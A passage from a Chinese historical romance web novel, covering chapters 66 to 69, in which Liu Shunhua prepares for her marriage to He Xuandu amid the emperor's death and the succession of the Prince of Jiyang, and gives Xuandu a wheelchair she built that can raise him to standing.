这些年,他受尽苦楚,每当快要熬不下去的时候,他不是没有幻想过,若没有当年那桩冤案,他便是尊贵的皇子皇孙,这天下也将是他的。可梦一醒,回到破败的房屋,他这些不切实际的美梦便被击个粉碎。 昨夜,他第一次入了皇宫。一踏进宫门,那种压在心底的欲望,如雨后春水,很快将他淹没。 这天下至尊,没人能拒绝,他也不例外。 他缓缓开口,“玄度,我骨子里的血脉,不允许我退缩。我想,由我亲手替当年那些人洗刷冤屈。” …… 天色渐暗,柳舜华忙了几日,终于将聘礼清单整理完毕。 她起身来到廊下,静静地望着墙边的杏树发呆。 晚风拂过,树影落在石砌上,金桂若有若无的香气悠悠绕绕。 想到下聘那日的月洞门前的吻,柳舜华犹觉耳尖发烫。 她将双手贴在脸上,嘴角却抑制不住上扬。 “蓁蓁,蓁蓁。”两声熟悉的叫声从墙外传来。 柳舜华抬头望去,只见一只绿色的鸟飞过郁郁葱葱的枝叶,稳稳落在廊下。 许久未见绿玉,柳舜华欣喜走过去。 绿玉仰起头,柳舜华这才发现,它嘴里衔着一封信,信上还插了一枝金桂。 她接过信件,打开一看,是贺玄度约她明日到望月楼内一聚。 她瞧了瞧墙外,好似没了动静,料想洪声送绿玉过来便离开了,于是伸手将绿玉抱在怀里。 绿玉被她摸得舒服极 了,往她身上又贴了贴,“蓁蓁,蓁蓁。” 柳舜华被它逗得笑了起来,贺玄度的鸟,果真样样随了他。 等到最后一缕霞光散尽,芳草急匆匆从外面走了进来。 “小姐,方才宫里来人了,说公子今夜要留宿宫中。老爷急得不行,要你过去一趟。” 柳舜华摸着绿玉的手骤然一僵。 这些日子忙着筹备婚礼,几乎要将这件大事给忘了。 九月中,睿帝猝然崩于未央宫。 柳舜华抬头,暮霭沉沉,无边的黑暗汹涌蔓延。 整个长安城只剩模糊轮廓,仿若蛰伏的巨兽。 山雨欲来,大安要换天了。 第66章 第66章求你,管管我 睿帝这场病来得迅猛,毫无征兆,朝中上下顿时陷入慌乱。 贺留善与平阳王赶到宫内时,睿帝已经陷入昏迷。 因睿帝清醒时,只有柳桓安陪侍左右,故询问起他皇上此前可有重要口谕。 柳桓安只道不过是谈论寻常政务,并无特别之处。 朝中百官各怀心事,等待着睿帝苏醒。 贺玄度怕柳舜华连日劳累,特意约在午后。 柳舜华数日未曾出门,有些憋闷,方用过午膳便提前赴约。 经过糕点铺子时,柳舜华想到兄长在宫内一日,必定没有好好用膳,便进去买了些备着。 方一转身,不小心碰到了人。 “对不住,有没有撞到……” 看到来人,柳舜华愣了一下,“郡主。” 刘妉柔微微一笑,“这么巧,柳小姐。” 柳舜华看着她,挤出一个笑来。 刘妉柔看着她手中的糕点,若有所思,“柳小姐喜欢吃莲蓬糕?” 柳舜华点头,她实在不想与刘妉柔牵扯过多,本想道个歉便寻借口离开,谁料她还同她攀谈上了。 刘妉柔看着她,微微咬着嘴唇,像是下定了某种决心,“柳小姐,方便请你喝杯茶吗?” 桥边水流潺潺,午后的光透过飞檐,洒下柔和的光,水面波光粼粼。 柳舜华坐在路边茶水铺子,看着对面淡然斟茶的刘妉柔。 刘妉柔说请她喝茶,她以为怎么也会是在望月楼那样的地方,没想到会选在如此简陋之处。 不过看着来来往往嘈杂的行人,喧闹的叫卖声,倒有几分闲适自在。 刘妉柔将茶推过去,“听闻柳小姐已与贺二公子定亲,恭喜。” 她面上犹带着笑,眼神清澈如水,看起来无比真诚。 柳舜华暗想,刘妉柔一直痴恋贺玄晖,如今她要嫁给贺玄度,她可不是要真心恭贺了。 于是客气道:“多谢。” 刘妉柔眼一转,看着她放在桌上的糕点,“柳小姐,能给我一块莲蓬糕吗?” 柳舜华微微一愣,堂堂平阳王府的郡主,先是请她在路边饮茶,又向她讨要糕点。 刘妉柔这么抠吗? 见她有些发愣,刘妉柔笑道:“怎么,不舍得?” 柳舜华缓过神来,忙将盒子打开,递了一块糕点过去。 纤纤素手接过糕点,轻轻放进口中。 刘妉柔不愧是皇室贵胄,一举一动都如此赏心悦目。 柳舜华回想起上辈子,与她一比,自己的确有些庸俗了,这样的佳人,无怪贺玄晖会动心。 刘妉柔抿了几口,微不可察地叹了一声,“好些时日没吃,竟不知是不是原来的味道了。” 柳舜华不知她为何要请自己饮茶,但见她似乎并无恶意,随口附和一句,“真没想到,郡主也喜欢这些寻常之物。” 刘妉柔淡声道:“饿的时候,什么都是好吃的。” 饿的时候,平阳王府的郡主还有饿的时候,柳舜华默然无语。 刘妉柔望向湖面,喃喃道:“两年前,就在这里,我饿得饥肠辘辘,几乎要昏过去的时候,被人给了一块莲蓬糕。” 柳舜华愕然,刘妉柔还有被饿得要昏过去的时候。又听她说有人送了她一块莲蓬糕,顿时明白过来,原来她与贺玄晖的缘分,便是由此开始。 刘妉柔转头,看着有些茫然的柳舜华,笑道:“你是不是觉得我主动找上你,有些莫名其妙?” 柳舜华被看穿心思,尴尬一笑,“郡主言重了。” 刘妉柔垂头道,“我家中兄弟虽多,却只有一个姐姐,两年前,姐姐远嫁南疆。这些年,我连个可以说话的人都没有。” 她看向柳舜华,“真是不好意思,今日一时感慨,话多了些。” 上辈子,因着她与贺玄晖的传闻,柳舜华曾让芳草打听过她。 平阳王有五子两女,刘妉柔是幼女,万千宠爱于一身,当之无愧的天之骄女。是长安城中,比贺容暄还要惹眼的存在。 柳舜华实在想不到,尊贵如刘妉柔,也会有这样的烦忧。 她不禁想起当日大长公主府险被诬陷,她急匆匆赶来,那个跟在她身后的绿衣小姐就站在不远处,叹声道:“这世间,女子所行之事本就少之又少,若再无姐妹叙话,闺阁中确是无聊。可越是如此,识人才越重要,若是不慎结交一些行为不端之人,岂不是要无辜受累。” 刘妉柔知晓她意有所指,点头道:“说起这个,我还欠了柳小姐一个人情。若日后柳小姐有需要,可随时差人去平阳王府找我。” 柳舜华想了想,这辈子她与刘妉柔无冤无仇,多结交一个朋友,总好过多一个敌人,当即微笑点头。 刘妉柔见她释然,心情大好,将剩下半块莲蓬糕吃得干干净净。 她擦了擦手,突然抬头道:“柳小姐不日便要嫁入相府,府上必是忙坏了吧。” 柳舜华见她说话东一句西一句,一时不知她是何意,只客气道:“家中父兄忙着操持,的确会忙些。” 刘妉柔一笑,“柳大人年少有为,办事妥贴,的确值得人信赖。” 柳舜华皱眉,怎么说着说着,扯到了兄长头上。 “郡主谬赞,不过是圣上慧眼……” 说到此处,突然止住,如今睿帝已是日薄西山,兄长前途如何,实在未知。 刘妉柔也已听闻睿帝昏迷之事,两人一时沉默。 许久,柳舜华看了看天色,这才道:“郡主,我这边约了人,恐怕要先行一步。” 刘妉柔点点头,“今日多有打扰,柳小姐请便。” 柳舜华起身离开,走过桥头,再回首,刘妉柔依旧静静地坐着。 秋意渐浓,梧叶飘零,少女的身影有种说不出的孤寂与悲凉。 贺玄度已在望月楼等候多时,迟迟不见柳舜华来,便靠在轮椅上小憩起来。 柳舜华一上楼便见贺玄度闭目养神,想是他这些日子忙着筹备婚礼,给累着了。于是,轻手轻脚走了过去。 贺玄度就坐在窗边,腿上盖着一件披风,应是周松怕他着凉,临时盖上的。 午后的日光透过一丛探过窗棂的橘枝,落在他的脸上。光影斑驳下,一张脸愈发面白似玉,眉目舒朗。 风吹着树叶沙沙响,吹着他额前散落下来的碎发,往日盛气凌人之势消减不少,更显丰姿奇秀,神韵独绝。 以往虽也曾近距离看过他,可根本不及细看,如今仗着他睡着,柳舜华忍不住俯下身子,明目张胆,肆无忌惮地看着他。 贺玄度跟着舅舅在军中多年,便是梦中也时刻保持着警惕,听到轻微的脚步声逐渐逼近,仔细一听,便知是个女子。 似有似无的荷香拂面而来,贺玄度呼吸一滞。这是她第一次主动靠近,贺玄度贪恋着她的气息,双眼依旧紧闭。 柳舜华犹嫌看得不够,又弯了弯腰。 他呼吸清浅,素日淡薄的双唇微张,似笑非笑,映着日光有着几分难以言说的红润,却不似女子涂上口脂的那种艳色,既遥不可攀又充满诱惑。 柳舜华越靠越近,贺玄度呼吸渐渐紊乱,一颗心怦怦直跳,正满是期待,那熟悉的气息却又倏忽远离。 贺玄度猛地睁开双眼,一把揽过柳舜华将她按在胸前。 “怎么,看完就想跑?” 柳舜华没想到他醒着,有些窘迫,伸手去推他,“谁说我偷看你了?” 贺玄度手放在她腰间,牢牢锢着她,笑道:“以后想看,大大方方的,保管让你看个够。” 柳舜华被他一撩拨,愈发想逃,趁着他不备,站起身来。 贺玄度顺势拉过她的手,将她抵在桌案边,“坐上去,别总站着。” 柳舜华笑了起来,仰头道:“好好的椅子不坐,非要让我坐桌上。” 贺玄度双手用力,将她托到桌上,“这么居高临下地看着我,是不是更清晰些。” 他这么一说,柳舜华垂头看着他,还真别说,确实如此。 怪不得世人对皇位如此渴求,那种众人仰视,掌控全局的感觉,真的会让人痴迷。 尽管两人依旧贴得很近,但这样的高低落差,让她瞬间有了安全感。 柳舜华晃悠着腿,笑道:“贺二公子,好见地。” 贺玄度轮椅逼近几分,带着几分薄笑,伸手便去拉她,“你不知道我的还多着呢。” 明明什么也没说,柳舜华却不觉脸上一红,伸手拍开想拉着她的那只手。 贺玄度笑笑,缩回了手。 手指触碰到他的指尖,柳舜华又将那手拽了回来,握在掌心。 “手怎么这么凉,也不知道多穿几件。如今已是深秋,最容易着凉。” 贺玄度仰头,可怜兮兮道:“没有人管,都是乱穿衣。日后,要劳烦蓁蓁费心了。求你,管管我。” 柳舜华一颗心猛地一沉,握住他的手不觉又柔和几分。 她看了看搭在他腿上的披风,“先穿上,免得冻着。” 贺玄度依依不舍地松了手,老老实实将披风穿上。 柳舜华想起正事,问道:“婚礼之事筹备得如何了?” 贺玄度:“你放心,有祖母在,相府那些人不敢懈怠。” 柳舜华点头,思索半晌,“昨日我兄长留在宫内,至今未归。今日听父亲说,皇上病重,瞧着不大好。” 睿帝执政十余年,对内休养生息,体民间疾苦;对外加强防范,恩威并施,以致大安海晏河清,享盛世太平。 如今朝堂内外威势已显,羽翼已丰,渐渐要脱离贺留善的阴影,却偏偏天不遂人愿。 她替睿帝可惜,可终究是大限将至,无力回天。 这天下,皇帝换了谁坐,本都与她无关。 可她偏偏要嫁进相府,继位的又是此前与她有误会的济阳王,由不得她不多做思量。 贺玄度想起昨日刘九生的话,双手敲在轮椅上,“父亲今日已去了宫内,这天下,大约是要变了。” 柳舜华忧心忡忡,如今她已尽可能地避免上辈子的悲剧。可到底人算不如天算,不知睿帝崩逝后,柳家命运如何。 贺玄度见她如此,携了她的手,抬眸一笑,“不管这天下如何变,蓁蓁,我都是你的。” 第67章 第67章贺玄度他人都是我的,东…… 从望月楼归来,天色已晚。 柳舜华问过芳草,得知兄长已经回来,此刻正在书房,提着食盒走了进去。 柳桓安坐在案前,双手扶额,半闭着眼,一脸倦容,脊背却依旧挺得笔直,一派清朗模样。 柳舜华将莲蓬糕拿出,放在桌上,“兄长忙了一两日,想是没吃什么东西,先垫垫肚子吧。” 柳桓安叹了一口气,“蓁蓁,这几日,兄长怕分身乏术,顾不上你了。” 柳舜华安慰道:“兄长正事要紧,婚礼之事无需太操心,相府那边,贺玄度会安排。” 柳桓安累了两日,不过吃了几口饼,方才一回来便同父亲进了书房,如今确实有些饿了。 他打开糕点一看,少了一块,并未当回事,捏起一个便往嘴边送。 柳舜华扫了一眼,解释道:“今日出门,顺便去买莲蓬糕,出门碰到了妉柔郡主。她人真奇怪,竟问我讨了块糕点。” 柳桓安手微微一顿,默默将糕点放进嘴里。 前世这个时候,柳舜华已嫁进相府,并不知道睿帝清醒时,兄长在旁。 她想了想,缓缓道:“兄长,皇上如今病情如何?” 柳桓安叹声,“怕是不大好。” 柳舜华试探道:“皇上无子嗣,那……” 柳桓安打断她的话,“蓁蓁,你大婚在即,别想这些有的没的。等成婚后,早些同贺玄度回凉州吧。” 以兄长的性子,虽怕她在丞相府受磋磨,但也不会如此催促,如今巴不得他们远走高飞,多半是睿帝生前交代过什么。可从前世来看,在后续皇权更迭过程中,兄长却一直被边缘化,并无任何举动。 重生以后,仔细琢磨,兄长的反应着实有些反常。 柳舜华眼眸一转,“倒也没那么急。” 柳桓安沉默片刻,“还是早做打算的好,省得将来准备起来太仓促。” …… 三日后,宫中传来消息,睿帝暴毙于未央宫。 睿帝崩逝得太突然,又无子嗣,皇位继承一下成了大问题。 依照礼制,应当从他的兄弟辈中选出继承人。 可先帝六子,先太子因涉嫌谋反被诛,二皇子病逝,四皇子被罚去燕地,五皇子早夭,如今仅有彭城王一人可选。 彭城王留在长安的势力蠢蠢欲动,尤以京兆府表现最为突出,四处奔走造势。 然而无论是作为辅政大臣的贺留善还是皇室贵胄平阳王,却始终持观望态度。 彭城王如今已四十有余,其势力本就不俗,已渗透到长安,若是由他继位,势必会脱离掌控。 这明显不是贺留善与平阳王想要的。 与此同时,彭城王勾结凉州刺史企图颠覆朝局的传闻甚嚣尘上。原本支持他的人,想到此前郑充押解回长安途中遭遇刺杀,一下变得犹豫起来,没人敢再轻易出头。 贺留善冷眼瞧着,见事态已经控制住,终于站了出来。 作为辅政大臣,他精挑细选,将目光放到一个人身上,济阳王刘昌。 刘昌,已故先二皇子嫡子,如今不过十八岁,自幼失孤,在朝中毫无根基,极易掌控。 对于这个人选,平阳王亦是点头默认。起码他继位后,目前朝局不会有大变动,至于日后如何,自然是各凭本事。 斗了几十年的两人,首次就继任人选上达成一致。 为防彭城王作乱,两日后,贺留善与平阳王便联合皇后起拟诏书,请济阳王刘昌来长安为睿帝主持葬礼。 诏书下来得太快,彭城王的党羽根本来不及反应,只有几个看不清局势之人在朝堂上提出质疑。 郎官们早有准备,直指先帝曾责其为人轻佻,行事不检,此前已将其排除在外,如今断然没有再立他的道理。 贺留善对此言论大加赞赏,轻飘飘留下一句,为人臣应遵循先帝遗愿,彻底阻断了彭城王继位的可能。 层云楼内,刘九生高大的身影笼在阴影里。 就在几日前,睿帝召他入宫,让他沉寂了十七年的心再次复燃。他幻想着先帝的丰功伟绩,满怀雄心壮志,以为能大展拳脚,延续先辈的荣耀。可如今尘埃落定,他方知自己有多可笑。 贺玄度揉着头,九生身份特殊,这些年他身边有不少皇上派来的探子。他对外虽表现出一副不求上进,自暴自弃的样子,可皇上素来深谋远虑,怎么可能看不出来一些苗头。 此前临时召见九生,言语又多有暗示,虽仓促崩逝,可依他的才智,怎么可能不留后路? 刘九生将面前的酒一饮而尽,“玄度,你说,我是不是从一开始就不应该有妄念?” 贺玄度摇头,“我虽仅见过皇上几面,但这些年他从一个无知小儿,逐渐脱离父亲的掌控,绝不是无能之辈,做事不可能顾头不顾尾。” “可是济阳王不日便要到长安,此事已成定局。” 刘九生深受打 击,垂头道:“若皇上尚在,当年的案子还有可能。如今的济阳王……他若是继位,只怕此前所做的一切都要白费了。” 当年先太子涉嫌谋反一案,济阳王的舅舅企图利用此案将先太子一脉斩尽杀绝,被先皇识破后降罪守边,继而叛逃。济阳王父亲也因此渐渐失了圣心,以至郁郁而终。 若是济阳王继位,又怎会为先太子翻案呢? 贺玄度思索片刻,“九生,你不觉得奇怪吗?皇上临时召你,明显知晓自己状况,他又怎么可能在明知时日不多的情况下,不做任何安排。” 一直沉浸在巨大失落中的刘九生抬起头,“你是说,此事可能另有隐情。可若他真有安排,为何如今迟迟不见有人行动?” 贺玄度点头,“我听闻,皇上崩逝前,曾有一人一直陪侍左右。” 刘九生:“谁?” 贺玄度:“柳桓安。” 刘九生沉默片刻,“可近日,不曾听闻他有任何异动。” 贺玄度笑道:“你怎知?” 刘九生咳了一声,脸上的阴翳逐渐散去,声音不觉柔和起来,“芊芊说自皇上崩逝,她兄长一直郁郁寡欢,人都瘦了一圈。” 柳桓安深受皇上信赖,两人政见一致,皇上对他惺惺相惜,委以重任。两人君臣相处不过半年,却是默契有加。如今皇上崩逝,若说朝中大臣最伤心难过的,非他莫属。 两人不由陷入沉思,看来想要弄清楚此事,必须想办法试探一下柳桓安才行。 正想着,周松便来报说有急事。 贺玄度慢悠悠地饮着茶,“什么急事?” 周松喘着气,“贺二小姐,她去了金玉堂。” 金玉堂,长安知名的珍宝阁,一向是达官显贵所钟爱之地,贺容暄更是那里的常客。 贺玄度冷哼一声,“她去哪里,与我何干?” 周松急道:“柳小姐也在那里,我远远瞧着,那贺二小姐似乎同柳小姐起了争执。” 贺玄度向柳九生道声“失陪”,忙让人将他抬下楼梯,直奔金玉堂而去。 柳舜华将嫁妆礼单拟好,渐渐闲了下来。看着库房满满的聘礼,便想着给贺玄度准备一份大礼。 贺玄度在相府虽不受重视,毕竟是相府二公子,寻常礼物于他而言自然无甚新奇。 柳舜华苦思冥想了半夜,终于想到了一个他十分需要的东西,轮椅。 她自幼爱木工,总爱做些稀奇古怪的东西。一个轮椅,于她而言,倒不难。只是要做,便要与众不同些。她思来想去,贺玄度白日出行尚可,若是夜间,怕多有不便,若是能在轮椅上放置几个夜明珠,会好很多。 金玉堂内,她方让掌柜的将店内上好的夜明珠拿出,正预备付钱,便听有人道:“掌柜的,这几颗夜明珠,我要了。” 柳舜华回头一看,见是贺容暄,转头淡声道:“掌柜的,包起来。” 如今她有贺玄度送她那些聘礼,几颗夜明珠还是买得起的。 柳舜华这些日子在各大商铺频繁出入,掌柜的自然认得。贺容暄贵为丞相千金,他自然也认得。 两边都不敢得罪,掌柜的在一边硬着头皮道:“两位小姐,这夜明珠还有其他品类,要不要……” 贺容暄冷哼一声,“你是聋了不成,我说我就要这几颗。” 掌柜的有些为难,“这……柳小姐先看……” 贺容暄:“她可曾付过钱?” 掌柜的犹豫道:“不曾,只是……” 贺容暄依旧不给掌柜的说话的机会,“不曾便是没卖,没卖我为何不能买?” 上辈子,起初为了贺玄晖,后来又为了柳府、皇后娘娘的关系,柳舜华受够了她的气,任由她在面前耀武扬威。 在相府那些年,她肆意羞辱于她,骂她耍心计高攀贺家;设计让她的马车坏在冰雪中,冒着寒风回府…… 这桩桩件件,她原不想计较,可如今她又要嫁入相府,若是还任由她拿捏,那岂不是同上辈子一样窝囊。 柳舜华抬手将钱袋子丢在案上,“掌柜的,这几颗珠子,我全要了。” 贺容暄冷笑:“柳舜华,你知不知道,你用的是谁的钱?是我们贺家的。用着我们贺家的钱,也敢同我这这摆谱,真是可笑。” “贺二小姐,你看清楚了,这是我未婚夫婿送我的聘礼。我与未婚夫婿已订下婚约,不日便要完婚。聘礼既入了柳家大门,那便是我柳家的东西。” 柳舜华不紧不慢道:“贺玄度他人都是我的,这些东西,自然也是我的。” 贺容暄一愣,脸上不由一红,“你……不知廉耻。” 贺玄度方赶过来,便听到柳舜华这句“他人都是我的”。 一瞬间,他心口不由得怦怦直跳,整个人像被荡进了云中,说不出的畅快。 直到周松推了推他,才反应过来。 他冷声道:“贺容暄,不知廉耻的是你吧!” 两人齐齐回头,柳舜华走过去,笑道:“你来了。” 贺玄度歪头看着她,只笑着不说话。 柳舜华见他笑得一脸暧昧,反应过来,他必定将方才那话听了去,忙垂下头。 贺容暄冷眼瞧着两人眉来眼去,“二哥这话什么意思,是娶了媳妇就不将自家妹妹放在眼里了?” 贺玄度不客气道:“你这话错了,以往我也从未将你放在眼里。” 贺容暄见他丝毫不给自己脸面,怒道:“今日这珠子,我买定了。她若有本事,就不要用贺家的钱买。” 贺玄度瞥了她一眼,“她什么时候用了贺家的钱?” 贺容暄指着柳舜华放在桌上的钱袋子,“这些难道不是贺家送出去的聘礼?” 贺玄度轻蔑一笑,“贺容暄,你看清楚了,这些聘礼,是我娘的嫁妆。这些钱,姓万,不姓贺。” 贺容暄怔愣许久,一直无法反驳,狠狠地盯着两人,终于拂袖而去。 贺玄度对着掌柜,轻快道:“还不把这些珠子给我未婚夫人包起来。” 掌柜见麻烦已解决,麻利地去寻木匣。 贺玄度望着长街上远处一地黄花,突然长叹一声。 柳舜华笑道:“人都走了,你又叹什么气?” 贺玄度凑近,直勾勾地看向她,“我在想,咱们什么时候能把这未婚两个字去掉。” 第68章 第68章红绸蒙眼 诏书送到济阳王府时,刘昌还在呼呼大睡。 太傅颜吉慌忙差人将他叫了起来。 迷迷糊糊的刘昌接过诏书,一下清醒过来,瞬间明白怎么回事。 他顿时狂喜,当即命人收拾起来,不到中午便迫不及待地启程。 一行两百余人,浩浩荡荡赶往长安。 刘昌做了十几年的闲散王爷,做梦都没料到,这样的好事会砸到自己头上,一路上欢喜得合不拢嘴。 想到不久便要登上宝座,他突然觉得,自己的规格还要再升一升,走一路挑剔一路。 一会嫌侍女不够水灵,换。 一会嫌饭菜不够鲜美,换。 一会嫌撵内不够香甜,换。 临近长安城,郎中令成渊实在看不下去。 他策马来到轿撵前,“王爷,咱们此番名义上是为治丧而来,如此张扬怕是不合适。皇上驾崩,您多少要……悲戚一点才是。” 刘昌张嘴将口中的石榴籽吐在侍女的掌心,“郎中令,我这正高兴着呢,你非要扫兴吗?” 皇上虽是他叔,但这些年见面次数屈指可数,委实谈不上什么感情,他实在是哭不出来。 成渊继续谏言,“王爷,等进了城,一定要逼着自己号哭才行。咱们这一行,不知多少人盯着呢,莫要让人抓住什么把柄才行。” 刘昌咳了一声,“长安秋日干燥,我喉咙疼。若是再嚎,怕是嗓子都要坏了。” 成渊气得直翻白眼,转头去找太傅颜吉商量对策。 颜吉年事已高,一路颠簸,身体有些吃不消,此刻正在马车内歇息。听成渊如此一说,火气登时冒了上来,即刻让人停止前行。 轿撵突然停了下来,刘昌张口正要骂,便见颜太傅怒气冲冲而来。 他自幼丧父,由颜太傅一手带大,这些年,不似父子胜似父子。 刘昌嬉皮笑脸道:“太傅,你怎么醒了,进城还早着呢,怎么不回去歇着?” 颜太傅手一挥,命人将侍女从轿撵上拉下来。 “王爷,已到长安地界,不可再任性妄为。好好休息,养好嗓子!” 刘昌笑着点头,“好好好,我都听太傅 的。” 看到颜太傅与成渊走远,刘昌对着身旁的成川道:“你兄长一直这么爱告状吗?” 成川撇嘴,“王爷,您这一路,确实有些招摇了。” 刘昌打个哈欠,伸手便想搂身边的侍女,却扑了个空。 这才想起,方才那侍女已经被赶下车撵,不满道:“你兄长这人,太一板一眼了,难怪这些年一直没有娶妻。等到了长安,我就给他讨个媳妇,好好管管他。” 成川听罢,忙道:“我兄长志不在此,王爷就不要操他这个心了。” 刘昌愈发起劲,“你兄长有心上人了,是哪家的,但说无妨。以往或许不行,如今咱们什么做不了,说出来,我替他做主。” 成川好好哄了一番,刘昌总算才消停,歪在轿撵上睡了过去。 …… 月中,柳舜华忙活几日,将轮椅做好,迫不及待约了贺玄度。 贺玄度才到约定的地点,下了马车,便觉眼前一黑。 一条红绸蒙上了他的双眼。 柳舜华轻轻将红绸系住,“以往都是你费心,今日我也想给你个惊喜。” 贺玄度笑道:“我本就腿脚不便,你还将我双眼蒙住,那我岂不是又瘸又瞎了。” 柳舜华被他逗得笑弯了腰,捂住他的嘴,“你就爱胡说,以后不准再这么说。” 贺玄度点头,“听你的。” 江风拂过,空中湿润的气息扑面而来,鸠声啁啁。 贺玄度还未反应过来,便被周松拖到一叶小舟之上。 柳舜华对着周松笑道:“劳你在此等候片刻。” 贺玄度只觉身子一晃,柳舜华已划动船桨,架着小舟向远处驶去。 这些时日贺玄度先是忙着婚礼筹备,又一直想着刘九生之事,一根弦紧绷着,几乎要将他扯破。 船桨划过湖面,水声汩汩,低吟浅唱,宛如天籁之音,悠扬而深远,让人忘却尘世纷扰。 贺玄度身体顿时放松下来,头枕着手,悠然靠在船边。 小舟越划越远,四周芦苇也越来越密,遮天蔽日,渐渐看不清岸边。 柳舜华划得有些累,慢慢将船停了下来。 日色澄丽,广袤的芦苇荡,宛如一幅水墨画卷,在天地间徐徐铺开。江风吹过,芦花似雪,纷纷扬扬,漫天飞舞,如梦如幻。 贺玄度就躺在一片雪白中,眼上红绸随风。 柳舜华盯着眼前的贺玄度,一时看得痴了。 “到了?”贺玄度缓缓起身,伸手将红绸拉下。 秋水悠悠,与天相接。芦苇擎着如雪的芦花,摇曳生姿。江面上偶有飞鸟掠过,发出清脆的啼鸣。 贺玄度一睁眼,便看到这样的景象。 在长安生活十余年,他竟从不知还有如此绝妙之地。 他抬眸,正对上柳舜华痴痴的目光,笑道:“蓁蓁有心了。” 柳舜华咳了一声,将船桨收好,缓缓挪了过去。 “我说要送你一份大礼,这个还不算。” 贺玄度笑意更深,“蓁蓁这么说,我更期待了。” 柳舜华垂头轻笑,片刻,抬头郑重道:“今日约你,除了送礼,还有一件要紧之事要同你商量。” 贺玄度心上一紧,莫非她发现柳桓安有异常。 柳舜华手缓缓摸向腰间,将佩囊取下,小心翼翼地掏出一块玉佩递过去。 贺玄度接过一瞧,是上等的和田玉,玉质温润通透,价值不菲。 “送我的?”他疑道。 柳舜华摇头,“不是,这块玉,是济阳王赠于我的。” 贺玄度一愕,如临大敌,“济阳王?” 济阳王被宣入长安主持先帝丧仪,丞相用意不言自明,他是要继承大统的。 柳舜华忙解释道:“你听我说,不是你想得那样,我同他根本就不熟。” 贺玄度缓过神来,意识到方才反应过激,笑道,“你先别急,慢慢说。” 柳舜华便将当日替他上山摘野果,偶遇济阳王之事,仔细说与他听。 贺玄度听罢,恼道:“这个济阳王,白白吃了我一袋山果子。” 柳舜华无意收了济阳王的玉佩,正有些忐忑,听他这么一说,立时笑了出来。 笑罢,犹有些不放心,看着贺玄度道:“他送我玉佩之时,我拒绝了。当时我不想与他纠缠,又不想开罪他,只一心想着摆脱这个大麻烦,谁知他竟偷偷将玉佩挂在我手上,我一时不察,就收下了。” 贺玄度拉过她的手,安慰道:“刘昌此人,行事一向不循常理,若是你能想到,岂不是同他一样了。” 柳舜华叹道:“当日不过望月楼匆匆一见,我实在想不到,究竟是哪里引起了他的误会。” 贺玄度笑了,“蓁蓁,你不了解刘昌,他五岁便承了王位,无人管教,这些年荒唐事一件接着一件,数不胜数,实在不能以正常人想法揣度他。” 柳舜华原本想着,待刘昌回来长安,她便托兄长将玉佩转交,顺便解释清当日的误会,自己则去凉州躲上几个月。 可此前相府欲撮合柳府与贺玄晖定亲,为免夜长梦多,摆脱贺玄晖,她已与贺玄度定下婚约。如今婚期将至,断然不可能离开长安。 如此一来,便免不了与刘昌打照面。 她犹豫道:“那这玉佩?” 贺玄度将玉佩收在怀中,“我是你未婚夫君,此事便交给我吧。你放宽心。” 柳舜华点头,“那有劳了。” 贺玄度伸手在她额头上敲了一下,“昨日方觉得你做得不错,今日又这般做作。” 柳舜华揉着额头,“毕竟是我惹出来的麻烦,要连累你帮我解决,总归是要感谢的。” 贺玄度歪头一笑,“你当真要感谢?” 柳舜华无比认真,“自然,你想要如何感谢?” 贺玄度凑过去,“不如,你提前叫声夫君听听。” 柳舜华脸色一红,伸手便去推他。 船随水动,摇晃了一下,柳舜华慌忙弯下腰去扶,身子一晃,整个人跌在贺玄度身上。 两人彼此贴在一起,贺玄度的双唇紧贴在耳边,呼吸吹乱了她耳边的碎发。柳舜华欲起身,却被贺玄度牢牢抓住。 她被他抱在怀里,双手按在他结实的胸膛,随着流水,晃晃荡荡,好似也跟着融入其中。 苇叶在风中沙沙作响,似在低吟着旖旎的歌谣,幽幽的让人酥软。 贺玄度垂头,目光落在柳舜华润泽的唇瓣上,喉间一滚,心口止不住发烫。 柳舜华微微一颤,心上发慌,双手本能想要抓住什么。一抬手,正碰上他柔软的双唇。 指尖从他唇瓣上划过,带着幽幽荷香,瞬间将贺玄度点燃。 他揽住她的腰,俯下身去。 风吹着芦花飘荡,飘散在四周。 他的唇带着浓烈的气息,逐渐逼近她的唇瓣。 柳舜华看着他一张俊脸,下意识想闭上眼,突然眼前一黑,冰凉滑腻的触感覆上她的双眸。 是她方才系在贺玄度眼上的红 绸。 还未及反应,贺玄度的唇瓣已覆了上来,伴着清洌的气息,柔柔地碾过她的双唇。 海鸟飞过芦苇丛,羽翼掠过江面,泛起层层涟漪,绵延向天际。 第69章 第69章我要立你为后 周松在岸边等了许久,正焦急地张望着,便看到贺玄度划着小船出了芦苇荡。 他忙迎上去,将船系在岸边。 贺玄度远远一望,一眼瞧见岸上的新轮椅。 轮椅看上去与日常所用差别不大,只是更为厚重些。椅背上雕了并蒂莲,栩栩如生。扶手前端凸起,放置两颗夜明珠,圆润精巧。坐垫柔软密实,一看便知是费了心思的。 周松将贺玄度拖上轮椅,神情兴奋,“柳小姐,快些试试。” 贺玄度一脸莫名,他人都坐上了,还试什么。 柳舜华点点头,与周松分立两侧,将贺玄度的腿固定在轮椅上。 贺玄度不知他们在搞什么花样,只是笑道:“你们这是做什么?” 柳舜华让贺玄度抓紧扶手,对着下方一块踏板轻轻一踩,只见椅背缓缓向上,底座跟着升了起来。 贺玄度站了起来。 周松激动道:“站起来了,站起来了。” 腿断后,贺玄度在轮椅上坐了三月有余,已经快忘了站起来是什么感觉。 如今猝不及防站了起来,伫立在江畔,望着悠悠东流的江水,连绵起伏的山峦,但见山水相依,水天相接,壮丽秀美,心中激荡不已。 秋风撩动着他的衣袂,手腕上绑着的红绸肆意翻飞。 柳舜华上前,“此前我曾去信到凉州,范神医说三个月后,可以试着站立,有助恢复。贺玄度,你别急,咱们一起,慢慢地练习,总能等到站起来那日。” 贺玄度眼眶湿润,眼眸清亮,“蓁蓁,谢谢你,一直陪着我。” 岸边与柳舜华分别,行至御街,远远瞧见一队禁军齐刷刷地站列开,将道路两旁看热闹的人群驱散。 贺玄度眉头一挑,按刘昌出发的日子算,大约要明日才能到,怎么提前了。 方上了相府的马车,正欲前行,便听到车轮滚滚,一行人沐着霞光,逶迤而来。 贺玄度挑起帘子望去,车马之后,八人抬着的轿撵内,男子半卧在榻上,一身玄衣,腰系金玉带,唇红齿白,气质矜贵,半捂的眼内隐隐可见悲戚之色,不时以手拭泪。 他伸手摸向怀中的玉佩,幽深的眸子眯了眯,一瞬眼神冰冷如刀,冷冽刺骨。 刘昌,便是做了皇帝又如何,他的面子,照拂不误! …… 